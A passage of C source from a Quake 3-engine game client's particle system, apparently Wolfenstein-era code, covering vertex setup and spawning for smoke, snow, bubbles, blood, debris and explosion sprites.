= 0;\n\t\tverts[0].modulate[0] = 255;\n\t\tverts[0].modulate[1] = 255;\n\t\tverts[0].modulate[2] = 255;\n\t\tverts[0].modulate[3] = 255;\n\n\t\tVectorMA( org, -p->height, vup, point );\n\t\tVectorMA( point, p->width, vright, point );\n\t\tVectorCopy( point, verts[1].xyz );\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255;\n\t\tverts[1].modulate[1] = 255;\n\t\tverts[1].modulate[2] = 255;\n\t\tverts[1].modulate[3] = 255;\n\n\t\tVectorMA( org, p->height, vup, point );\n\t\tVectorMA( point, p->width, vright, point );\n\t\tVectorCopy( point, verts[2].xyz );\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255;\n\t\tverts[2].modulate[1] = 255;\n\t\tverts[2].modulate[2] = 255;\n\t\tverts[2].modulate[3] = 255;\n\n\t\tVectorMA( org, p->height, vup, point );\n\t\tVectorMA( point, -p->width, vright, point );\n\t\tVectorCopy( point, verts[3].xyz );\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255;\n\t\tverts[3].modulate[1] = 255;\n\t\tverts[3].modulate[2] = 255;\n\t\tverts[3].modulate[3] = 255;\n\n\t} else if ( p->type == P_BLEED ) {\n\t\tvec3_t rr, ru;\n\t\tvec3_t rotate_ang;\n\t\tfloat alpha;\n\n\t\talpha = p->alpha;\n\n\t\tif ( cgs.glconfig.hardwareType == GLHW_RAGEPRO ) {\n\t\t\talpha = 1;\n\t\t}\n\n\t\tif ( p->roll ) {\n\t\t\tvectoangles( cg.refdef.viewaxis[0], rotate_ang );\n\t\t\trotate_ang[ROLL] += p->roll;\n\t\t\tAngleVectors( rotate_ang, NULL, rr, ru );\n\t\t} else\n\t\t{\n\t\t\tVectorCopy( vup, ru );\n\t\t\tVectorCopy( vright, rr );\n\t\t}\n\n\t\tVectorMA( org, -p->height, ru, point );\n\t\tVectorMA( point, -p->width, rr, point );\n\t\tVectorCopy( point, verts[0].xyz );\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 111;\n\t\tverts[0].modulate[1] = 19;\n\t\tverts[0].modulate[2] = 9;\n\t\tverts[0].modulate[3] = 255 * alpha;\n\n\t\tVectorMA( org, -p->height, ru, point );\n\t\tVectorMA( point, p->width, rr, point );\n\t\tVectorCopy( point, verts[1].xyz );\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 111;\n\t\tverts[1].modulate[1] = 19;\n\t\tverts[1].modulate[2] = 9;\n\t\tverts[1].modulate[3] = 255 * alpha;\n\n\t\tVectorMA( org, p->height, ru, point );\n\t\tVectorMA( point, p->width, rr, point );\n\t\tVectorCopy( point, verts[2].xyz );\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 111;\n\t\tverts[2].modulate[1] = 19;\n\t\tverts[2].modulate[2] = 9;\n\t\tverts[2].modulate[3] = 255 * alpha;\n\n\t\tVectorMA( org, p->height, ru, point );\n\t\tVectorMA( point, -p->width, rr, point );\n\t\tVectorCopy( point, verts[3].xyz );\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 111;\n\t\tverts[3].modulate[1] = 19;\n\t\tverts[3].modulate[2] = 9;\n\t\tverts[3].modulate[3] = 255 * alpha;\n\n\t} else if ( p->type == P_FLAT_SCALEUP ) {\n\t\tfloat width, height;\n\t\tfloat sinR, cosR;\n\n\t\tif ( p->color == BLOODRED ) {\n\t\t\tVectorSet( color, 1, 1, 1 );\n\t\t} else {\n\t\t\tVectorSet( color, 0.5, 0.5, 0.5 );\n\t\t}\n\n\t\ttime = cg.time - p->time;\n\t\ttime2 = p->endtime - p->time;\n\t\tratio = time / time2;\n\n\t\twidth = p->width + ( ratio * ( p->endwidth - p->width ) );\n\t\theight = p->height + ( ratio * ( p->endheight - p->height ) );\n\n\t\tif ( width > p->endwidth ) {\n\t\t\twidth = p->endwidth;\n\t\t}\n\n\t\tif ( height > p->endheight ) {\n\t\t\theight = p->endheight;\n\t\t}\n\n\t\tsinR = height * sin( DEG2RAD( p->roll ) ) * sqrt( 2 );\n\t\tcosR = width * cos( DEG2RAD( p->roll ) ) * sqrt( 2 );\n\n\t\tVectorCopy( org, verts[0].xyz );\n\t\tverts[0].xyz[0] -= sinR;\n\t\tverts[0].xyz[1] -= cosR;\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 255 * color[0];\n\t\tverts[0].modulate[1] = 255 * color[1];\n\t\tverts[0].modulate[2] = 255 * color[2];\n\t\tverts[0].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[1].xyz );\n\t\tverts[1].xyz[0] -= cosR;\n\t\tverts[1].xyz[1] += sinR;\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255 * color[0];\n\t\tverts[1].modulate[1] = 255 * color[1];\n\t\tverts[1].modulate[2] = 255 * color[2];\n\t\tverts[1].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[2].xyz );\n\t\tverts[2].xyz[0] += sinR;\n\t\tverts[2].xyz[1] += cosR;\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255 * color[0];\n\t\tverts[2].modulate[1] = 255 * color[1];\n\t\tverts[2].modulate[2] = 255 * color[2];\n\t\tverts[2].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[3].xyz );\n\t\tverts[3].xyz[0] += cosR;\n\t\tverts[3].xyz[1] -= sinR;\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255 * color[0];\n\t\tverts[3].modulate[1] = 255 * color[1];\n\t\tverts[3].modulate[2] = 255 * color[2];\n\t\tverts[3].modulate[3] = 255;\n\t} else if ( p->type == P_FLAT ) {\n\n\t\tVectorCopy( org, verts[0].xyz );\n\t\tverts[0].xyz[0] -= p->height;\n\t\tverts[0].xyz[1] -= p->width;\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 255;\n\t\tverts[0].modulate[1] = 255;\n\t\tverts[0].modulate[2] = 255;\n\t\tverts[0].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[1].xyz );\n\t\tverts[1].xyz[0] -= p->height;\n\t\tverts[1].xyz[1] += p->width;\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255;\n\t\tverts[1].modulate[1] = 255;\n\t\tverts[1].modulate[2] = 255;\n\t\tverts[1].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[2].xyz );\n\t\tverts[2].xyz[0] += p->height;\n\t\tverts[2].xyz[1] += p->width;\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255;\n\t\tverts[2].modulate[1] = 255;\n\t\tverts[2].modulate[2] = 255;\n\t\tverts[2].modulate[3] = 255;\n\n\t\tVectorCopy( org, verts[3].xyz );\n\t\tverts[3].xyz[0] += p->height;\n\t\tverts[3].xyz[1] -= p->width;\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255;\n\t\tverts[3].modulate[1] = 255;\n\t\tverts[3].modulate[2] = 255;\n\t\tverts[3].modulate[3] = 255;\n\n\t}\n\t// Ridah\n\telse if ( p->type == P_ANIM ) {\n\t\tvec3_t rr, ru;\n\t\tvec3_t rotate_ang;\n\t\tint i, j;\n\n\t\ttime = cg.time - p->time;\n\t\ttime2 = p->endtime - p->time;\n\t\tratio = time / time2;\n\t\tif ( ratio >= 1.0 ) {\n\t\t\tratio = 0.9999;\n\t\t}\n\n\t\twidth = p->width + ( ratio * ( p->endwidth - p->width ) );\n\t\theight = p->height + ( ratio * ( p->endheight - p->height ) );\n\n\t\t// if we are \"inside\" this sprite, don't draw\n\t\tif ( Distance( cg.snap->ps.origin, org ) < width / 1.5 ) {\n\t\t\treturn;\n\t\t}\n\n\t\ti = p->shaderAnim;\n\t\tj = (int)floor( ratio * shaderAnimCounts[p->shaderAnim] );\n\t\tp->pshader = shaderAnims[i][j];\n\n\t\tif ( p->roll ) {\n\t\t\tvectoangles( cg.refdef.viewaxis[0], rotate_ang );\n\t\t\trotate_ang[ROLL] += p->roll;\n\t\t\tAngleVectors( rotate_ang, NULL, rr, ru );\n\t\t}\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( org, -height, ru, point );\n\t\t\tVectorMA( point, -width, rr, point );\n\t\t} else {\n\t\t\tVectorMA( org, -height, vup, point );\n\t\t\tVectorMA( point, -width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[0].xyz );\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 255;\n\t\tverts[0].modulate[1] = 255;\n\t\tverts[0].modulate[2] = 255;\n\t\tverts[0].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, 2 * height, ru, point );\n\t\t} else {\n\t\t\tVectorMA( point, 2 * height, vup, point );\n\t\t}\n\t\tVectorCopy( point, verts[1].xyz );\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255;\n\t\tverts[1].modulate[1] = 255;\n\t\tverts[1].modulate[2] = 255;\n\t\tverts[1].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, 2 * width, rr, point );\n\t\t} else {\n\t\t\tVectorMA( point, 2 * width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[2].xyz );\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255;\n\t\tverts[2].modulate[1] = 255;\n\t\tverts[2].modulate[2] = 255;\n\t\tverts[2].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, -2 * height, ru, point );\n\t\t} else {\n\t\t\tVectorMA( point, -2 * height, vup, point );\n\t\t}\n\t\tVectorCopy( point, verts[3].xyz );\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255;\n\t\tverts[3].modulate[1] = 255;\n\t\tverts[3].modulate[2] = 255;\n\t\tverts[3].modulate[3] = 255;\n\t}\n\t// done.\n\n\tif ( !cg_wolfparticles.integer ) {\n\t\treturn;\n\t}\n\n\tif ( !p->pshader ) {\n// (SA) temp commented out for DM again. FIXME: TODO: this needs to be addressed\n//\t\tCG_Printf (\"CG_AddParticleToScene type %d p->pshader == ZERO\\n\", p->type);\n\t\treturn;\n\t}\n\n\tif ( p->type == P_WEATHER || p->type == P_WEATHER_TURBULENT || p->type == P_WEATHER_FLURRY ) {\n\t\ttrap_R_AddPolyToScene( p->pshader, 3, TRIverts );\n\t} else {\n\t\ttrap_R_AddPolyToScene( p->pshader, 4, verts );\n\t}\n\n}\n\n// Ridah, made this static so it doesn't interfere with other files\nstatic float roll = 0.0;\n\n/*\n===============\nCG_AddParticles\n===============\n*/\nvoid CG_AddParticles( void ) {\n\tcparticle_t *p, *next;\n\tfloat alpha;\n\tfloat time, time2;\n\tvec3_t org;\n\tint color;\n\tcparticle_t *active, *tail;\n\tint type;\n\tvec3_t rotate_ang;\n\n\tif ( !initparticles ) {\n\t\tCG_ClearParticles();\n\t}\n\n\tVectorCopy( cg.refdef.viewaxis[0], vforward );\n\tVectorCopy( cg.refdef.viewaxis[1], vright );\n\tVectorCopy( cg.refdef.viewaxis[2], vup );\n\n\tvectoangles( cg.refdef.viewaxis[0], rotate_ang );\n\troll += ( ( cg.time - oldtime ) * 0.1 ) ;\n\trotate_ang[ROLL] += ( roll * 0.9 );\n\tAngleVectors( rotate_ang, rforward, rright, rup );\n\n\toldtime = cg.time;\n\n\tactive = NULL;\n\ttail = NULL;\n\n\tfor ( p = active_particles ; p ; p = next )\n\t{\n\n\t\tnext = p->next;\n\n\t\ttime = ( cg.time - p->time ) * 0.001;\n\n\t\talpha = p->alpha + time * p->alphavel;\n\t\tif ( alpha <= 0 ) { // faded out\n\t\t\tp->next = free_particles;\n\t\t\tfree_particles = p;\n\t\t\tp->type = 0;\n\t\t\tp->color = 0;\n\t\t\tp->alpha = 0;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ( p->type == P_SMOKE || p->type == P_ANIM || p->type == P_BLEED || p->type == P_SMOKE_IMPACT ) {\n\t\t\tif ( cg.time > p->endtime ) {\n\t\t\t\tp->next = free_particles;\n\t\t\t\tfree_particles = p;\n\t\t\t\tp->type = 0;\n\t\t\t\tp->color = 0;\n\t\t\t\tp->alpha = 0;\n\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t}\n\n\t\tif ( p->type == P_WEATHER_FLURRY ) {\n\t\t\tif ( cg.time > p->endtime ) {\n\t\t\t\tp->next = free_particles;\n\t\t\t\tfree_particles = p;\n\t\t\t\tp->type = 0;\n\t\t\t\tp->color = 0;\n\t\t\t\tp->alpha = 0;\n\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\n\t\tif ( p->type == P_FLAT_SCALEUP_FADE ) {\n\t\t\tif ( cg.time > p->endtime ) {\n\t\t\t\tp->next = free_particles;\n\t\t\t\tfree_particles = p;\n\t\t\t\tp->type = 0;\n\t\t\t\tp->color = 0;\n\t\t\t\tp->alpha = 0;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t}\n\n\t\tif ( ( p->type == P_BAT || p->type == P_SPRITE ) && p->endtime < 0 ) {\n\t\t\t// temporary sprite\n\t\t\tCG_AddParticleToScene( p, p->org, alpha );\n\t\t\tp->next = free_particles;\n\t\t\tfree_particles = p;\n\t\t\tp->type = 0;\n\t\t\tp->color = 0;\n\t\t\tp->alpha = 0;\n\t\t\tcontinue;\n\t\t}\n\n\t\tp->next = NULL;\n\t\tif ( !tail ) {\n\t\t\tactive = tail = p;\n\t\t} else\n\t\t{\n\t\t\ttail->next = p;\n\t\t\ttail = p;\n\t\t}\n\n\t\tif ( alpha > 1.0 ) {\n\t\t\talpha = 1;\n\t\t}\n\n\t\tcolor = p->color;\n\n\t\ttime2 = time * time;\n\n\t\torg[0] = p->org[0] + p->vel[0] * time + p->accel[0] * time2;\n\t\torg[1] = p->org[1] + p->vel[1] * time + p->accel[1] * time2;\n\t\torg[2] = p->org[2] + p->vel[2] * time + p->accel[2] * time2;\n\n\t\ttype = p->type;\n\n\t\tCG_AddParticleToScene( p, org, alpha );\n\t}\n\n\tactive_particles = active;\n}\n\n/*\n======================\nCG_AddParticles\n======================\n*/\nvoid CG_ParticleSnowFlurry( qhandle_t pshader, centity_t *cent ) {\n\tcparticle_t *p;\n\tqboolean turb = qtrue;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleSnowFlurry pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->color = 0;\n\tp->alpha = 0.90;\n\tp->alphavel = 0;\n\n\tp->start = cent->currentState.origin2[0];\n\tp->end = cent->currentState.origin2[1];\n\n\tp->endtime = cg.time + cent->currentState.time;\n\tp->startfade = cg.time + cent->currentState.time2;\n\n\tp->pshader = pshader;\n\n\tif ( rand() % 100 > 90 ) {\n\t\tp->height = 32;\n\t\tp->width = 32;\n\t\tp->alpha = 0.10;\n\t} else\n\t{\n\t\tp->height = 1;\n\t\tp->width = 1;\n\t}\n\n\tp->vel[2] = -20;\n\n\tp->type = P_WEATHER_FLURRY;\n\n\tif ( turb ) {\n\t\tp->vel[2] = -10;\n\t}\n\n\tVectorCopy( cent->currentState.origin, p->org );\n\n\tp->org[0] = p->org[0];\n\tp->org[1] = p->org[1];\n\tp->org[2] = p->org[2];\n\n\tp->vel[0] = p->vel[1] = 0;\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->vel[0] += cent->currentState.angles[0] * 32 + ( crandom() * 16 );\n\tp->vel[1] += cent->currentState.angles[1] * 32 + ( crandom() * 16 );\n\tp->vel[2] += cent->currentState.angles[2];\n\n\tif ( turb ) {\n\t\tp->accel[0] = crandom() * 16;\n\t\tp->accel[1] = crandom() * 16;\n\t}\n\n}\n\nvoid CG_ParticleSnow( qhandle_t pshader, vec3_t origin, vec3_t origin2, int turb, float range, int snum ) {\n\tcparticle_t *p;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleSnow pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->color = 0;\n\tp->alpha = 0.40;\n\tp->alphavel = 0;\n\tp->start = origin[2];\n\tp->end = origin2[2];\n\tp->pshader = pshader;\n\tp->height = 1;\n\tp->width = 1;\n\n\tp->vel[2] = -50;\n\n\tif ( turb ) {\n\t\tp->type = P_WEATHER_TURBULENT;\n\t\tp->vel[2] = -50 * 1.3;\n\t} else\n\t{\n\t\tp->type = P_WEATHER;\n\t}\n\n\tVectorCopy( origin, p->org );\n\n\tp->org[0] = p->org[0] + ( crandom() * range );\n\tp->org[1] = p->org[1] + ( crandom() * range );\n\tp->org[2] = p->org[2] + ( crandom() * ( p->start - p->end ) );\n\n\tp->vel[0] = p->vel[1] = 0;\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tif ( turb ) {\n\t\tp->vel[0] = crandom() * 16;\n\t\tp->vel[1] = crandom() * 16;\n\t}\n\n\t// Rafael snow pvs check\n\tp->snum = snum;\n\tp->link = qtrue;\n\n}\n\nvoid CG_ParticleBubble( qhandle_t pshader, vec3_t origin, vec3_t origin2, int turb, float range, int snum ) {\n\tcparticle_t *p;\n\tfloat randsize;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleSnow pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->color = 0;\n\tp->alpha = 0.40;\n\tp->alphavel = 0;\n\tp->start = origin[2];\n\tp->end = origin2[2];\n\tp->pshader = pshader;\n\n\trandsize = 1 + ( crandom() * 0.5 );\n\n\tp->height = randsize;\n\tp->width = randsize;\n\n\tp->vel[2] = 50 + ( crandom() * 10 );\n\n\tif ( turb ) {\n\t\tp->type = P_BUBBLE_TURBULENT;\n\t\tp->vel[2] = 50 * 1.3;\n\t} else\n\t{\n\t\tp->type = P_BUBBLE;\n\t}\n\n\tVectorCopy( origin, p->org );\n\n\tp->org[0] = p->org[0] + ( crandom() * range );\n\tp->org[1] = p->org[1] + ( crandom() * range );\n\tp->org[2] = p->org[2] + ( crandom() * ( p->start - p->end ) );\n\n\tp->vel[0] = p->vel[1] = 0;\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tif ( turb ) {\n\t\tp->vel[0] = crandom() * 4;\n\t\tp->vel[1] = crandom() * 4;\n\t}\n\n\t// Rafael snow pvs check\n\tp->snum = snum;\n\tp->link = qtrue;\n\n}\n\nvoid CG_ParticleSmoke( qhandle_t pshader, centity_t *cent ) {\n\n\t// using cent->density = enttime\n\t//\t\t cent->frame = startfade\n\tcparticle_t *p;\n\tvec3_t dir;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleSmoke == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + cent->currentState.time;\n\tp->startfade = cg.time + cent->currentState.time2;\n\n\tp->color = 0;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->start = cent->currentState.origin[2];\n\tp->end = cent->currentState.origin2[2];\n\tp->pshader = pshader;\n\tif ( cent->currentState.density == 1 ) {\n\t\tp->rotate = qfalse;\n\t\tp->height = 8;\n\t\tp->width = 8;\n\t\tp->endheight = 32;\n\t\tp->endwidth = 32;\n\t} else if ( cent->currentState.density == 2 ) {\n\t\tp->rotate = qtrue;\n\t\tp->height = 4;\n\t\tp->width = 4;\n\t\tp->endheight = 8;\n\t\tp->endwidth = 8;\n\t} else if ( cent->currentState.density == 3 ) {\n\t\tp->rotate = qfalse;\n\t\t{\n\t\t\tfloat scale;\n\n\t\t\tscale = 16 + ( crandom() * 8 );\n\t\t\tp->height = 24 + scale;\n\t\t\tp->width = 24 + scale;\n\t\t\tp->endheight = 64 + scale;\n\t\t\tp->endwidth = 64 + scale;\n\t\t}\n\t} else if ( cent->currentState.density == 4 ) { // white smoke\n\t\tp->rotate = qtrue;\n\t\tp->height = cent->currentState.angles2[0];\n\t\tp->width = cent->currentState.angles2[0];\n\t\tp->endheight = cent->currentState.angles2[1];\n\t\tp->endwidth = cent->currentState.angles2[1];\n\t\tp->color = GREY75;\n\t} else if ( cent->currentState.density == 5 ) { // mustard gas\n\t\tp->rotate = qtrue;\n\t\tp->height = cent->currentState.angles2[0];\n\t\tp->width = cent->currentState.angles2[0];\n\t\tp->endheight = cent->currentState.angles2[1];\n\t\tp->endwidth = cent->currentState.angles2[1];\n\t\tp->color = MUSTARD;\n\t\tp->alpha = 0.75;\n\t} else // black smoke\n\t{\n\t\tp->rotate = qtrue;\n\t\tp->height = cent->currentState.angles2[0];\n\t\tp->width = cent->currentState.angles2[0];\n\t\tp->endheight = cent->currentState.angles2[1];\n\t\tp->endwidth = cent->currentState.angles2[1];\n\n\t\t{\n\t\t\tint rval;\n\t\t\trval = rand() % 6;\n\t\t\tif ( rval == 1 ) {\n\t\t\t\tp->pshader = cgs.media.smokePuffShaderb1;\n\t\t\t} else if ( rval == 2 ) {\n\t\t\t\tp->pshader = cgs.media.smokePuffShaderb2;\n\t\t\t} else if ( rval == 3 ) {\n\t\t\t\tp->pshader = cgs.media.smokePuffShaderb3;\n\t\t\t} else if ( rval == 4 ) {\n\t\t\t\tp->pshader = cgs.media.smokePuffShaderb4;\n\t\t\t} else {\n\t\t\t\tp->pshader = cgs.media.smokePuffShaderb5;\n\t\t\t}\n\t\t}\n\t}\n\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( cent->currentState.origin, p->org );\n\n\tp->vel[0] = p->vel[1] = 0;\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tif ( cent->currentState.density == 1 ) {\n\t\tp->vel[2] = 5;\n\t} else if ( cent->currentState.density == 2 ) {\n\t\tp->vel[2] = 5;\n\t} else if ( cent->currentState.density == 3 ) { // cannon\n\t\tVectorCopy( cent->currentState.origin2, dir );\n\t\tp->vel[0] = dir[0] * 128 + ( crandom() * 64 );\n\t\tp->vel[1] = dir[1] * 128 + ( crandom() * 64 );\n\t\tp->vel[2] = 15 + ( crandom() * 16 );\n\t} else if ( cent->currentState.density == 5 ) { // gas or cover smoke\n\t\tVectorCopy( cent->currentState.origin2, dir );\n\t\tp->vel[0] = dir[0] * 32 + ( crandom() * 16 );\n\t\tp->vel[1] = dir[1] * 32 + ( crandom() * 16 );\n\t\tp->vel[2] = 4 + ( crandom() * 2 );\n\t} else // smoke\n\t{\n\t\tVectorCopy( cent->currentState.origin2, dir );\n\t\tp->vel[0] = dir[0] + ( crandom() * p->height );\n\t\tp->vel[1] = dir[1] + ( crandom() * p->height );\n\t\tp->vel[2] = cent->currentState.angles2[2];\n\t}\n\n\tif ( cent->currentState.frame == 1 ) { // reverse gravity\n\t\tp->vel[2] *= -1;\n\t}\n\n//\tp->roll = 8 + (crandom() * 4);\n\tp->roll = rand() % ( 2 * 8 );\n\tp->roll -= 8;\n}\n\n\nvoid CG_ParticleBulletDebris( vec3_t org, vec3_t vel, int duration ) {\n\n\tcparticle_t *p;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + duration;\n\tp->startfade = cg.time + duration / 2;\n\n\tp->color = EMISIVEFADE;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\n\tp->height = 0.5;\n\tp->width = 0.5;\n\tp->endheight = 0.5;\n\tp->endwidth = 0.5;\n\n\tp->pshader = cgs.media.tracerShader;\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( org, p->org );\n\n\tp->vel[0] = vel[0];\n\tp->vel[1] = vel[1];\n\tp->vel[2] = vel[2];\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->accel[2] = -60;\n\tp->vel[2] += -20;\n\n}\n\n// DHM - Nerve :: bullets hitting dirt\n\nvoid CG_ParticleDirtBulletDebris( vec3_t org, vec3_t vel, int duration ) {\n\tint r = rand() % 3;\n\tcparticle_t *p;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + duration;\n\tp->startfade = cg.time + duration / 2;\n\n\tp->color = EMISIVEFADE;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\n\tp->height = 1.2;\n\tp->width = 1.2;\n\tp->endheight = 4.5;\n\tp->endwidth = 4.5;\n\n\tif ( r == 0 ) {\n\t\tp->pshader = cgs.media.dirtParticle1Shader;\n\t} else if ( r == 1 ) {\n\t\tp->pshader = cgs.media.dirtParticle2Shader;\n\t} else {\n\t\tp->pshader = cgs.media.dirtParticle3Shader;\n\t}\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( org, p->org );\n\n\tp->vel[0] = vel[0];\n\tp->vel[1] = vel[1];\n\tp->vel[2] = vel[2];\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->accel[2] = -330;\n\tp->vel[2] += -20;\n}\n\n// NERVE - SMF :: the core of the dirt explosion\nvoid CG_ParticleDirtBulletDebris_Core( vec3_t org, vec3_t vel, int duration,\n\t\t\t\t\t\t\t\t\t float width, float height, float alpha, char *shadername ) { // JPW NERVE\n//\tint r = rand(); // TTimo: unused\n\tcparticle_t *p;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + duration;\n\tp->startfade = cg.time + duration / 2;\n\n\tp->color = EMISIVEFADE;\n\tp->alpha = alpha;\n\tp->alphavel = 0;\n\n\tp->height = width; // JPW NERVE was 512/5.f;\n\tp->width = height; // JPW NERVE was 128/5.f;\n\tp->endheight = p->height;\n\tp->endwidth = p->width;\n\n\tp->rotate = 0;\n\n\tp->pshader = trap_R_RegisterShader( shadername ); // JPW NERVE was \"dirt_splash\"\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( org, p->org );\n\tVectorCopy( vel, p->vel );\n\n//\tp->vel[0] = vel[0];\n//\tp->vel[1] = vel[1];\n//\tp->vel[2] = vel[2];\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->accel[2] = -330;\n//\tp->vel[2] += -20;\n}\n\n/*\n======================\nCG_ParticleExplosion\n======================\n*/\n\nvoid CG_ParticleExplosion( char *animStr, vec3_t origin, vec3_t vel, int duration, int sizeStart, int sizeEnd ) {\n\tcparticle_t *p;\n\tint anim;\n\n\tif ( animStr < (char *)10 ) {\n\t\tCG_Error( \"CG_ParticleExplosion: animStr is probably an index rather than a string\" );\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\t// find the animation string\n\tfor ( anim = 0; shaderAnimNames[anim]; anim++ ) {\n\t\tif ( !Q_strcasecmp( animStr, shaderAnimNames[anim] ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif ( !shaderAnimNames[anim] ) {\n\t\tCG_Error( \"CG_ParticleExplosion: unknown animation string: %s\\n\", animStr );\n\t\treturn;\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\n\tif ( duration < 0 ) {\n\t\tduration *= -1;\n\t\tp->roll = 0;\n\t} else {\n\t\tp->roll = crandom() * 179;\n\t}\n\n\tp->shaderAnim = anim;\n\n\tp->width = sizeStart;\n\tp->height = sizeStart * shaderAnimSTRatio[anim]; // for sprites that are stretch in either direction\n\n\tp->endheight = sizeEnd;\n\tp->endwidth = sizeEnd * shaderAnimSTRatio[anim];\n\n\tp->endtime = cg.time + duration;\n\n\tp->type = 